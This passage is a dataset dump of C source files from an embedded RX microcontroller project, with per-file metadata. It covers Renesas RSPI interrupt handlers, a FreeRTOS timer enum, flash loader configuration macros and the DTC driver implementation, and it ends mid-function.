RSPI_CFG_USE_CH0 == 1\n\t#pragma interrupt (rspi_spei0_isr(vect=VECT(RSPI0, SPEI0)))\n\tstatic void rspi_spei0_isr(void)\n\t{\n\t\trspi_spei_isr_common(0);\n\t} /* end rspi_spei0_isr */\n\t#endif\n\n\t#if RSPI_CFG_USE_CH1 == 1\n\t#pragma interrupt (rspi_spei1_isr(vect=VECT(RSPI1, SPEI1)))\n\tstatic void rspi_spei1_isr(void)\n\t{\n\t\trspi_spei_isr_common(1);\n\t} /* end rspi_spei1_isr */\n\t#endif\n\n\t#if RSPI_CFG_USE_CH2 == 1\n\t\t#pragma interrupt (rspi_spei2_isr(vect=VECT(RSPI2, SPEI2)))\n\t\tstatic void rspi_spei2_isr(void)\n\t\t{\n\t\t\trspi_spei_isr_common(2);\n\t\t} /* end rspi_spei2_isr */\n\t#endif\n#else\n #if RSPI_CFG_USE_RX63_ERROR_INTERRUPT == 1\n #pragma interrupt (rspi_spei_63_isr(vect=VECT(ICU, GROUP12)))\n static void rspi_spei_63_isr(void)\n {\n /* Get the interrupt source from the group interrupt source register. */\n #if RSPI_CFG_USE_CH0 == 1\n if (IS(RSPI0, SPEI0))\n {\n rspi_spei_isr_common(0);\n }\n #endif\n\n #if RSPI_CFG_USE_CH1 == 1\n if (IS(RSPI1, SPEI1))\n {\n rspi_spei_isr_common(1);\n }\n #endif\n\n #if RSPI_CFG_USE_CH2 == 1\n if (IS(RSPI2, SPEI2))\n {\n rspi_spei_isr_common(2);\n }\n #endif\n } /* end rspi_spei_63_isr */\n #endif\n#endif\n/* end SPRI */\n" }, { "alpha_fraction": 0.7127468585968018, "alphanum_fraction": 0.7289048433303833, "avg_line_length": 18.20689582824707, "blob_id": "2ed830e41e1a208c5261d4e15802410aeb015387", "content_id": "f927ec2c9854be9d35f333881f9f0f17c314a090", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 557, "license_type": "no_license", "max_line_length": 42, "num_lines": 29, "path": "/src/include/config_SwTimers.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * config_SwTimers.h\n *\n * Created on: 16/04/2016\n * Author: leocafonso\n */\n\n#ifndef CONFIG_CONFIG_SWTIMERS_H_\n#define CONFIG_CONFIG_SWTIMERS_H_\n\n#include \"FreeRTOS.h\"\n#include \"timers.h\"\n\ntypedef enum{\n\tZDOWN_FILERUNNING_TIMER = 0,\n\tZUP_FILERUNNING_TIMER,\n\tDOWN_FILERUNNING_TIMER,\n\tUP_FILERUNNING_TIMER,\n\tRIGHT_FILERUNNING_TIMER,\n\tLEFT_FILERUNNING_TIMER,\n\tDOWN_CONFIGVAR_TIMER,\n\tUP_CONFIGVAR_TIMER,\n\tAUTO_MENU_TIMER,\n\tLINE_SELECTION_TIMER,\n\tTIMER_SIZE\n}sw_timers;\n\nextern TimerHandle_t swTimers[TIMER_SIZE];\n#endif /* CONFIG_CONFIG_SWTIMERS_H_ */\n" }, { "alpha_fraction": 0.582190215587616, "alphanum_fraction": 0.6017540097236633, "avg_line_length": 65.3432846069336, "blob_id": "7192d1fd67c0555cd63550be073f278099a46cb8", "content_id": "b009b4e9187577dbeea992507bc3217f1d7216d4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4447, "license_type": "no_license", "max_line_length": 120, "num_lines": 67, "path": "/r_config/r_flash_loader_rx_config.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2013 Renesas Electronics Corporation. All rights reserved. \n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_flash_loader_rx_config.c\n* Version : 3.00\n* Description : Configures the Flash Loader package.\n************************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 02.03.2012 3.00 First Release \n***********************************************************************************************************************/\n#ifndef FLASH_LOADER_CONFIG_HEADER_FILE\n#define FLASH_LOADER_CONFIG_HEADER_FILE\n\n/***********************************************************************************************************************\nConfiguration Options\n***********************************************************************************************************************/\n/* Maximum block data size supported. sizeof(fl_block_header_t) is added to this #define when declaring the receive\n buffer. This is because the r_fl_mot_converter.py program accepts a parameter to set the data block size. That \n parameter does not take into account the block header size so neither does this one. */\n#define FL_CFG_DATA_BLOCK_MAX_BYTES (256)\n\n/* Whether to use a timeout or not. A timeout occurs when FL_CFG_TIMEOUT_TICKS go by without receiving an expected \n response from the host. If a reply is not expected then a timeout will not occur. Using a timeout helps the state \n machine not get stuck when the host goes down during communications.\n '0' means do not use a timeout.\n '1' means do use a timeout. */\n#define FL_CFG_TIMEOUT_ENABLE (1)\n\n/* Number of ticks of the state machine before a timeout occurs. The time for each tick will depend on the frequency\n of the timer that is used to call the state machine. For example, if the state machine is called at 50Hz then the \n time for each tick is 20ms. */\n#define FL_CFG_TIMEOUT_TICKS (100)\n\n/* Number of load file slots available. */\n#define FL_CFG_MEM_NUM_LOAD_IMAGES (1)\n\n/* Starting address of where Flash Loader load images are stored. The address for each load image will be based on this\n address. For example, if FL_CFG_MEM_MAX_LI_SIZE_BYTES is 0x10000 then the addresses would be the following if \n FL_CFG_MEM_NUM_LOAD_IMAGES was set to 4:\n Address of Load Image 0: 0x00000000\n Address of Load Image 1: 0x00010000\n Address of Load Image 2: 0x00020000\n Address of Load Image 3: 0x00030000\n*/\n#define FL_CFG_MEM_BASE_ADDR (0)\n\n/* Maximum supported load image size. If a host sends a request to download a new image that is larger then this, the \n MCU will deny the request. */\n#define FL_CFG_MEM_MAX_LI_SIZE_BYTES (0x100000)\n\n#endif /* FLASH_LOADER_CONFIG_HEADER_FILE */\n\n\n" }, { "alpha_fraction": 0.48902684450149536, "alphanum_fraction": 0.5031040906906128, "avg_line_length": 35.12571334838867, "blob_id": "dff0865c1ae55112bf7218139a675a2eb92d14ed", "content_id": "00fcd5aadcd96bf028e411956edc0dedf85ec47a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 25289, "license_type": "no_license", "max_line_length": 116, "num_lines": 700, "path": "/r_dtc_rx/src/r_dtc_rx.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*******************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only\n* intended for use with Renesas products. No other uses are authorized. This\n* software is owned by Renesas Electronics Corporation and is protected under\n* all applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT\n* LIMITED TO WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE\n* AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED.\n* TO THE MAXIMUM EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS\n* ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES SHALL BE LIABLE\n* FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR\n* ANY REASON RELATED TO THIS SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE\n* BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software\n* and to discontinue the availability of this software. By using this software,\n* you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n*******************************************************************************/\n\n/*******************************************************************************\n* File Name : r_dtc_rx.c\n* Device(s) : RX\n* Tool-Chain : Renesas RXC Toolchain v2.01.00\n* OS : not use\n* H/W Platform : not use\n* Description : Functions for using DTC on RX devices.\n*******************************************************************************/\n/*******************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 17.03.2014 1.00 Initial revision\n* : 17.07.2014 2.00 Second revision\n* : 12.11.2014 2.01 Added RX113.\n* : 30.01.2015 2.02 Added RX71M.\n*******************************************************************************/\n\n/*******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n*******************************************************************************/\n/* Defines for DTC support */\n#include <stdlib.h>\n#include \"r_dtc_rx_if.h\"\n#include \".\\src\\r_dtc_rx_private.h\"\n\n\n/*******************************************************************************\nMacro definitions\n*******************************************************************************/\n#define DTC_ACT_BIT_MASK (0x8000) /* DTC Active flag (DTCSTS.ACT) bit mask */\n#define DTC_VECT_NR_MASK (0x00FF) /* DTC-Activating Vector Number bits mask */\n#define DTC_MAX_16BITS_COUNT_VAL (65536) /* The maximum value of 16bit count value */\n#define DTC_MAX_8BITS_COUNT_VAL (256) /* The maximum value of 8bit count value */\n#define DTC_MIN_COUNT_VAL (1) /* The minimum of count value and block size */\n\n\n/*******************************************************************************\nTypedef definitions\n*******************************************************************************/\n\n\n/*******************************************************************************\nExported global variables (to be accessed by other files)\n*******************************************************************************/\nextern const dtc_activation_source_t source_array[];\n\n\n/*******************************************************************************\nPrivate variables and functions\n*******************************************************************************/\nstatic bool g_is_opened = false; /* Indicate whether DTC is opened. */\nuint32_t * g_dtc_table_work[2];\n\nstatic dtc_err_t r_dtc_set_transfer_data(dtc_transfer_data_t *p_transfer_data,\n dtc_transfer_data_cfg_t *p_cfg);\nstatic void r_dtc_clear_all_dtce_bits(void);\nstatic bool r_dtc_abort_chain_transfer(uint32_t chain_transfer_nr);\nstatic bool r_dtc_acquire_hw_lock(void);\nstatic void r_dtc_release_hw_lock(void);\nstatic bool r_dtc_check_DMAC_locking_sw(void);\n\n/*******************************************************************************\n* Function Name: R_DTC_Open\n* Description : Initializes the DTC module. It's only called once.\n* Arguments : None\n* Return Value : DTC_SUCCESS -\n* Successful operation\n* DTC_ERR_INVALID_ARG -\n* Parameters are invalid.\n* DTC_ERR_OPENED -\n* The DTC has been already initialized.\n* DTC_ERR_BUSY -\n* DTC is opened already.\n*******************************************************************************/\ndtc_err_t R_DTC_Open(void)\n{\n\tuint8_t * dtc_table_work2 = 0;\n\n if (false == r_dtc_acquire_hw_lock())\n {\n /* Lock has already been acquired by another task. Need to try again later. */\n return DTC_ERR_BUSY;\n }\n\n if (true == g_is_opened) /* DTC is opened. */\n {\n r_dtc_release_hw_lock();\n return DTC_ERR_OPENED;\n }\n\n g_dtc_table_work[0] = (uint32_t *)malloc(DTC_VECTOR_TABLE_SIZE_BYTES);\n\n if (0 == g_dtc_table_work[0])\n {\n r_dtc_release_hw_lock();\n return DTC_ERR_OPENED;\n }\n\n g_dtc_table_work[1] = g_dtc_table_work[0];\n dtc_table_work2 = (uint8_t *)g_dtc_table_work[1];\n dtc_table_work2 = (dtc_table_work2 + 0x400);\n dtc_table_work2 = (uint8_t *)((uint32_t)dtc_table_work2 & 0xfffffc00);\n\n#if (DTC_ENABLE == DTC_CFG_DISABLE_ALL_ACT_SOURCE) /* Clear all DTCER registers. */\n\n r_dtc_clear_all_dtce_bits();\n\n#endif /* DTC_ENABLE == DTC_CFG_DISABLE_ALL_ACT_SOURCE */\n\n /* Cancel module stop for DMAC and DTC. */\n r_dtc_module_enable();\n /* Set DTC Vector Table Base Register. */\n DTC.DTCVBR = dtc_table_work2;\n\n /* Set DTC address mode. */\n#if (DTC_ENABLE == DTC_CFG_SHORT_ADDRRESS_MODE)\n DTC.DTCADMOD.BIT.SHORT = 1;\n#else /* Full-address mode */\n DTC.DTCADMOD.BIT.SHORT = 0;\n#endif /* DTC_CFG_SHORT_ADDRRESS_MODE */\n\n /* Set the Transfer Data Read Skip bit. */\n#if (DTC_ENABLE == DTC_CFG_TRANSFER_DATA_READ_SKIP_EN) /* Enable Data Read Skip. */\n DTC.DTCCR.BIT.RRS = 1;\n#else /* Disable Data Read Skip. */\n DTC.DTCCR.BIT.RRS = 0;\n#endif /* DTC_TRANSFER_DATA_READ_SKIP_EN */\n g_is_opened = true; /* DTC module is initialized successfully. */\n\n return DTC_SUCCESS;\n}\n\n/*******************************************************************************\n* Function Name: R_DTC_Create\n* Description : Creates the Transfer data for a specified interrupt source.\n* Arguments : act_source -\n* Activation source\n* p_transfer_data -\n* Pointer to start address of Transfer data area on RAM\n* p_data_cfg -\n* Pointer to contains the settings for Transfer data\n* chain_transfer_nr -\n* Number of chain transfer\n* Return Value : DTC_SUCCESS -\n* Successful operation\n* DTC_ERR_NOT_OPEN -\n* The DTC is not initialized yet.\n* DTC_ERR_INVALID_ARG -\n* Parameters are invalid.\n* DTC_ERR_NULL_PTR -\n* The pointers are NULL.\n* DTC_ERR_BUSY -\n* The resource are locked by another process.\n*******************************************************************************/\ndtc_err_t R_DTC_Create(dtc_activation_source_t act_source, dtc_transfer_data_t *p_transfer_data,\n dtc_transfer_data_cfg_t *p_data_cfg, uint32_t chain_transfer_nr)\n{\n uint32_t count = chain_transfer_nr + 1;\n uint32_t *ptr = NULL;\n uint8_t dtce_backup = 0;\n uint8_t rrs_backup = 0;\n\n#if (1 == DTC_CFG_PARAM_CHECKING_ENABLE)\n\n if ((NULL == p_data_cfg) || (NULL == p_transfer_data))\n {\n return DTC_ERR_NULL_PTR;\n }\n\n if ((p_data_cfg->transfer_count < DTC_MIN_COUNT_VAL) || (p_data_cfg->transfer_count > DTC_MAX_16BITS_COUNT_VAL))\n {\n return DTC_ERR_INVALID_ARG;\n }\n\n#endif /* DTC_CFG_PARAM_CHECKING_ENABLE */\n\n if (false == g_is_opened) /* DTC is not initialized yet. */\n {\n r_dtc_release_hw_lock();\n return DTC_ERR_NOT_OPEN;\n }\n\n#if (1 == DTC_CFG_PARAM_CHECKING_ENABLE)\n#if (DTC_ENABLE == DTC_CFG_SHORT_ADDRRESS_MODE) /* Short-address mode */\n/* Address must be in: 0x00000000h to 0x007FFFFF and 0xFF800000 to 0xFFFFFFFF */\n if ((p_data_cfg->source_addr > 0x007FFFFF) && (p_data_cfg->source_addr < 0xFF800000))\n {\n return DTC_ERR_INVALID_ARG;\n }\n\n if ((p_data_cfg->dest_addr > 0x007FFFFF) && (p_data_cfg->dest_addr < 0xFF800000))\n {\n return DTC_ERR_INVALID_ARG;\n }\n\n if (((uint32_t)p_transfer_data > 0x007FFFFF) && ((uint32_t)p_transfer_data < 0xFF800000))\n {\n return DTC_ERR_INVALID_ARG;\n }\n#endif\n#endif /* DTC_CFG_PARAM_CHECKING_ENABLE */\n\n /* Store old value of DTCERn.DTCE bit. */\n dtce_backup = ICU.DTCER[act_source].BIT.DTCE;\n /* Disable the interrupt source. Clear the DTCER */\n ICU.DTCER[act_source].BIT.DTCE = 0;\n\n /* Store old value of DTCCR.RRS bit. */\n rrs_backup = DTC.DTCCR.BIT.RRS;\n /* Clear RRS bit. */\n DTC.DTCCR.BIT.RRS = 0;\n\n /* The row in Vector table corresponding to act_source */\n ptr = (uint32_t *)((uint32_t)DTC.DTCVBR + (4 * act_source));\n /* Write start address of Transfer data to Vector table. */\n *ptr = (uint32_t)p_transfer_data;\n\n while (count > 0)\n {\n if (DTC_SUCCESS != r_dtc_set_transfer_data(p_transfer_data, p_data_cfg))\n { /* Fail to apply configurations for Transfer data. */\n /* Restore RRS bit */\n DTC.DTCCR.BIT.RRS = rrs_backup;\n /* Restore the DTCE bit. */\n ICU.DTCER[act_source].BIT.DTCE = dtce_backup;\n return DTC_ERR_INVALID_ARG;\n }\n else\n {\n p_data_cfg++;\n p_transfer_data++;\n }\n count--;\n }\n\n /* Restore RRS bit. */\n DTC.DTCCR.BIT.RRS = rrs_backup;\n /* Restore the DTCE bit. */\n ICU.DTCER[act_source].BIT.DTCE = dtce_backup;\n\n return DTC_SUCCESS;\n}\n\n\n/*******************************************************************************\n* Function Name: R_DTC_Close\n* Description : Disables power of DTC module.\n* Arguments : None\n* Return Value : DTC_SUCCESS -\n* Successful operation\n* DTC_ERR_BUSY -\n* The resource are locked by another process.\n* DTC_SUCCESS_DMAC_BUSY -\n* One or some DMAC resources are locked by another process.\n*******************************************************************************/\ndtc_err_t R_DTC_Close(void)\n{\n /* Clear DTCE bits. */\n r_dtc_clear_all_dtce_bits();\n\n /* Stop DTC module. */\n DTC.DTCST.BIT.DTCST = 0;\n\n /* DTC is closed. */\n g_is_opened = false;\n\n free((void *)g_dtc_table_work[1]);\n g_dtc_table_work[1] = NULL;\n\n /* Check DMAC locking. */\n if (true == r_dtc_check_DMAC_locking_sw())\n {\n /* Disable the power for DTC and DMAC module. */\n r_dtc_module_disable();\n /* Release hardware lock. */\n r_dtc_release_hw_lock();\n }\n else\n {\n /* Release hardware lock. */\n r_dtc_release_hw_lock();\n return DTC_SUCCESS_DMAC_BUSY;\n }\n\n return DTC_SUCCESS;\n}\n\n/*******************************************************************************\n* Function Name: R_DTC_Control\n* Description : Starts / Stops DTC, enables or disables Data transfer read skip,\n* selects an interrupt source as DTC activation.\n* Arguments : command -\n* Action will be done\n* p_stat -\n* Pointer to the status of DTC module when command is \n* DTC_CMD_GET_STATUS, casted to void *.\n* p_args -\n* Pointer to argument of command, casted to void *.\n* Return Value : DTC_SUCCESS -\n* Successful operation\n* DTC_ERR_NOT_OPEN -\n* The DTC is not initialized yet.\n* DTC_ERR_INVALID_COMMAND -\n* Command parameters are invalid.\n* DTC_ERR_NULL_PTR -\n* The argument is NULL when commnad is valid.\n* DTC_ERR_BUSY\n* The resource are locked by another process.\n*\n*******************************************************************************/\ndtc_err_t R_DTC_Control(dtc_command_t command, dtc_stat_t *p_stat, dtc_cmd_arg_t *p_args)\n{\n#if (1 == DTC_CFG_PARAM_CHECKING_ENABLE)\n\n if ((DTC_CMD_STATUS_GET == command) && (NULL == p_stat))\n {\n return DTC_ERR_NULL_PTR;\n }\n else if ((DTC_CMD_ACT_SRC_ENABLE == command) || (DTC_CMD_ACT_SRC_DISABLE == command) || \n (DTC_CMD_CHAIN_TRANSFER_ABORT == command))\n {\n if (NULL == p_args) /* Require argument */\n {\n return DTC_ERR_NULL_PTR;\n }\n }\n else\n {\n /* do nothing */\n }\n\n#endif /* DTC_CFG_PARAM_CHECKING_ENABLE */\n\n if (false == g_is_opened)\n {\n r_dtc_release_hw_lock();\n return DTC_ERR_NOT_OPEN;\n }\n\n switch (command)\n {\n case DTC_CMD_DTC_START: /* Start DTC module. */\n DTC.DTCST.BIT.DTCST = 1;\n break;\n\n case DTC_CMD_DTC_STOP: /* Stop DTC module. */\n DTC.DTCST.BIT.DTCST = 0;\n break;\n\n case DTC_CMD_DATA_READ_SKIP_ENABLE: /* Enable Transfer Data Read Skip. */\n DTC.DTCCR.BIT.RRS = 1;\n break;\n\n case DTC_CMD_DATA_READ_SKIP_DISABLE: /* Disable Transfer Data Read Skip. */\n DTC.DTCCR.BIT.RRS = 0;\n break;\n\n case DTC_CMD_ACT_SRC_ENABLE: /* Select one interrupt as a DTC activation source. */\n ICU.DTCER[p_args->act_src].BIT.DTCE = 1;\n break;\n\n case DTC_CMD_ACT_SRC_DISABLE: /* Remove one interrupt as a DTC activation source. */\n ICU.DTCER[p_args->act_src].BIT.DTCE = 0;\n break;\n\n case DTC_CMD_STATUS_GET:\n if (0 == (DTC.DTCSTS.WORD & DTC_ACT_BIT_MASK)) /* DTC transfer operation is not in progress. */\n {\n p_stat->in_progress = false;\n /* DTC is not in progress. -> vector number is invalid. */\n }\n else /* DTC transfer operation is in progress. */\n {\n p_stat->in_progress = true;\n /* Get the current vector number. */\n p_stat->vect_nr = (uint8_t)(DTC.DTCSTS.WORD & DTC_VECT_NR_MASK); /* get lower 8 bits: 0-7*/\n }\n break;\n\n case DTC_CMD_CHAIN_TRANSFER_ABORT:\n r_dtc_abort_chain_transfer(p_args->chain_transfer_nr);\n break;\n\n default:\n return DTC_ERR_INVALID_COMMAND;\n break;\n }\n\n return DTC_SUCCESS;\n}\n\n/*******************************************************************************\n* Function Name: R_DTC_GetVersion\n* Description : Returns the version of this module. The version number is \n* encoded such that the top two bytes are the major version\n* number and the bottom two bytes are the minor version number.\n* Arguments : none\n* Return Value : version number\n*******************************************************************************/\nuint32_t R_DTC_GetVersion(void)\n{\n uint32_t version = 0;\n\n version = (DTC_VERSION_MAJOR << 16) | DTC_VERSION_MINOR;\n\n return version;\n}\n\n/*******************************************************************************\n* Function Name: r_dtc_set_transfer_data\n* Description : Applies configurations to a Transfer data area, it is an internal\n* function called by R_DTC_Create(); and all arguments are validated\n* in R_DTC_Create()\n* Arguments : transfer_data -\n* Start address of Transfer data\n* data_cfg -\n* Contains configurations for the Transfer data\n* Return Value : DTC_SUCCESS -\n* Apply configurations for Transfer data successfully.\n* DTC_ERR_INVALID_ARG\n* Fail to apply configurations for Transfer data.\n*******************************************************************************/\nstatic dtc_err_t r_dtc_set_transfer_data(dtc_transfer_data_t *p_transfer_data,\n dtc_transfer_data_cfg_t *p_cfg)\n{\n dtc_mra_t t_mra;\n dtc_mrb_t t_mrb;\n dtc_cra_t t_cra;\n dtc_crb_t t_crb;\n volatile dtc_internal_registers_t *td_ptr = (volatile dtc_internal_registers_t *)p_transfer_data;\n\n /* Set for MRA - . */\n t_mra.BYTE = (uint8_t)(p_cfg->src_addr_mode | p_cfg->data_size | p_cfg->transfer_mode);\n t_mrb.BYTE = (uint8_t)(p_cfg->dest_addr_mode | p_cfg->repeat_block_side | p_cfg->response_interrupt |\n p_cfg->chain_transfer_enable | p_cfg->chain_transfer_mode);\n\n switch (t_mra.BIT.MD) /* DTC transfer mode */\n {\n case 0x0: /* Normal mode */\n if (DTC_MAX_16BITS_COUNT_VAL == p_cfg->transfer_count)/* Transfer count = 65536 */\n {\n t_cra.WORD = 0x0000;\n }\n else /* 1 - 65535 */\n {\n t_cra.WORD = (uint16_t)p_cfg->transfer_count;\n }\n break;\n\n case 0x1: /* Repeat mode */\n /* Set counter. */\n if (p_cfg->transfer_count < DTC_MAX_8BITS_COUNT_VAL) /* count 1-255 */\n {\n t_cra.BYTE.CRA_H = (uint8_t)p_cfg->transfer_count;\n t_cra.BYTE.CRA_L = (uint8_t)p_cfg->transfer_count;\n }\n else if (DTC_MAX_8BITS_COUNT_VAL == p_cfg->transfer_count)\n {\n t_cra.BYTE.CRA_H = 0x00;\n t_cra.BYTE.CRA_L = 0x00;\n }\n else /* Transfer count > 256 */\n {\n return DTC_ERR_INVALID_ARG;\n }\n break;\n\n case 0x2: /* DTC_TRANSFER_MODE_BLOCK - Block transfer mode */\n /* Set counter. */\n if (DTC_MAX_16BITS_COUNT_VAL == p_cfg->transfer_count)/* Transfer count = 65536 */\n {\n t_crb.WORD = 0x0000;\n }\n else /* 1 - 65535 */\n {\n t_crb.WORD = (uint16_t)p_cfg->transfer_count;\n }\n\n if (p_cfg->block_size < DTC_MAX_8BITS_COUNT_VAL) /* Block size 1-255 */\n {\n t_cra.BYTE.CRA_H = (uint8_t)p_cfg->block_size;\n t_cra.BYTE.CRA_L = (uint8_t)p_cfg->block_size;\n }\n else if (DTC_MAX_8BITS_COUNT_VAL == p_cfg->block_size) /* Block size = 256 */\n {\n t_cra.BYTE.CRA_H = 0;\n t_cra.BYTE.CRA_L = 0;\n }\n else /* Invalid block size */\n {\n return DTC_ERR_INVALID_ARG;\n }\n break;\n\n default:\n return DTC_ERR_INVALID_ARG;\n break;\n }\n\n#if (DTC_ENABLE == DTC_CFG_SHORT_ADDRRESS_MODE) /* Short-address mode */\n /* settings for fist long word: MRA & SAR */\n td_ptr->FIRST_LWORD.LWORD = 0; /* clear */\n td_ptr->FIRST_LWORD.REG.MRA = t_mra; /* 1 byte MRA */\n td_ptr->FIRST_LWORD.LWORD |= (p_cfg->source_addr & 0x00FFFFFF); /* 3 byte SAR */\n\n /* settings for second long word: MRB & DAR */\n td_ptr->SECOND_LWORD.LWORD = 0; /* clear */\n td_ptr->SECOND_LWORD.REG.MRB = t_mrb; /* 1 byte MRB */\n td_ptr->SECOND_LWORD.LWORD |= (p_cfg->dest_addr & 0x00FFFFFF); /* 3 byte DAR */\n\n /* settings for third long word: CRA & CRB */\n td_ptr->THIRD_LWORD.REG.CRA.WORD = t_cra.WORD;\n td_ptr->THIRD_LWORD.REG.CRB.WORD = t_crb.WORD;\n#else /* Full-address mode */\n /* settings for fist long word: MRA & MRB */\n td_ptr->FIRST_LWORD.REG.MRA.BYTE = t_mra.BYTE; /* 1 byte MRA */\n td_ptr->FIRST_LWORD.REG.MRB.BYTE = t_mrb.BYTE; /* 1 byte MRB */\n\n /* settings for second long word: SAR */\n td_ptr->SECOND_LWORD.SAR = p_cfg->source_addr; /* 4 byte SAR */\n\n /* settings for third long word: DAR */\n td_ptr->THIRD_LWORD.DAR = p_cfg->dest_addr; /* 4 byte DAR */\n\n /* settings for fourth long word: CRA & CRB */\n td_ptr->FOURTH_LWORD.REG.CRA.WORD = t_cra.WORD;\n td_ptr->FOURTH_LWORD.REG.CRB.WORD = t_crb.WORD;\n#endif\n return DTC_SUCCESS;\n}\n\n/*******************************************************************************\n* Function Name: r_dtc_clear_all_dtce_bits\n* Description : Clears all DTCERn.DTCE bit corresponding to the interrupt that\n* can be selected as DTC activation sources.\n* Arguments : addr -\n* Address need to be validated\n* Return Value : true -\n* The address is valid.\n* false -\n* The address is invalid.\n*******************************************************************************/\nstatic void r_dtc_clear_all_dtce_bits(void)\n{\n volatile uint32_t dtce_cnt = 0;\n\n /* Clear all DTCER registers.\n * Scan through all available DTCER registers in Array.\n */\n while (dtce_cnt < DTC_NUM_INTERRUPT_SRC)\n {\n ICU.DTCER[source_array[dtce_cnt]].BIT.DTCE = 0;\n dtce_cnt++;\n }\n\n return;\n}\n\n/*******************************************************************************\n* Function Name: r_dtc_abort_chain_transfer\n* Description : Aborts the current active chain transfer.\n* Arguments : chain_transfer_nr -\n* Number of chain transfer\n* Return Value : true -\n* Abort successfully.\n* false\n* Can not abort.\n*******************************************************************************/\nstatic bool r_dtc_abort_chain_transfer(uint32_t chain_transfer_nr)\n{\n volatile uint32_t cnt = 0;\n uint16_t status_reg = 0;\n\n status_reg = DTC.DTCSTS.WORD;\n\n volatile dtc_internal_registers_t *td_ptr = NULL;\n\n if (0 == (status_reg & 0x8000)) /* DTC is not active. */\n {\n return false;\n }\n\n status_reg &= 0xFF; /* Get the vector number. */\n td_ptr = (volatile dtc_internal_registers_t *)*((uint32_t *)DTC.DTCVBR + status_reg) + chain_transfer_nr - 1;\n\n while (cnt < chain_transfer_nr)\n {\n#if (DTC_DISABLE == DTC_CFG_SHORT_ADDRRESS_MODE) /* Full address mode */\n td_ptr->FIRST_LWORD.REG.MRB.BIT.CHNE = 0;\n#else /* Short address mode */\n td_ptr->SECOND_LWORD.REG.MRB.BIT.CHNE = 0;\n#endif\n td_ptr--;\n cnt++;\n }\n\n return true;\n}\n\n/*******************************************************************************\n* Function Name: r_dtc_acquire_hw_lock\n* Description : Gets the hardware lock BSP_LOCK_DTC.\n* Arguments : None.\n* Return Value : true -\n* The lock is acquired successfully\n* false -\n* Fails to get the lock\n*******************************************************************************/\nstatic bool r_dtc_acquire_hw_lock(void)\n{\n return R_BSP_HardwareLock(BSP_LOCK_DTC);\n}\n\n/*******************************************************************************\n* Function Name: r_dtc_release_hw_lock\n* Description : release hardware lock BSP_LOCK_DTC.\n* Arguments : None.\n* Return Value : None.\n*******************************************************************************/\nstatic void r_dtc_release_hw_lock(void)\n{\n R_BSP_HardwareUnlock(BSP_LOCK_DTC);\n return;\n}\n\n\n/*******************************************************************************\n* Function Name: r_dtc_check_DMAC_locking_sw\n* Description : Checks all DMAC channel locking.\n* Arguments : none -\n* Return Value : true -\n* All DMAC channels are unlocked. \n* false -\n* One or some DMAC channels are locked.\n*******************************************************************************/\nstatic bool r_dtc_check_DMAC_locking_sw(void)\n{\n bool ret = true;\n\n#if ((0 != BSP_CFG_USER_LOCKING_ENABLED) || (bsp_lock_t != BSP_CFG_USER_LOCKING_TYPE) \\\n || (DTC_ENABLE != DTC_CFG_USE_DMAC_FIT_MODULE))\n /* defined(0 != BSP_CFG_USER_LOCKING_ENABLED) */\n /* or defined(DTC_ENABLE !=DTC_CFG_USE_DMAC_FIT_MODULE) */\n /* or defined(bsp_lock_t != BSP_CFG_USER_LOCKING_TYPE) */\n /* User has to do the locking check of DMAC by themselves. */\n ret = r_dtc_check_DMAC_locking_byUSER();\n#else\n uint32_t channel;\n uint32_t dmac_lock_num = 0;\n\n for (channel = 0; channel < DMAC_NUM_CHANNELS; channel++)\n {\n if (false == R_BSP_HardwareLock((mcu_lock_t)(BSP_LOCK_DMAC0 + channel)))\n {\n dmac_lock_num++;\n }\n else\n {\n 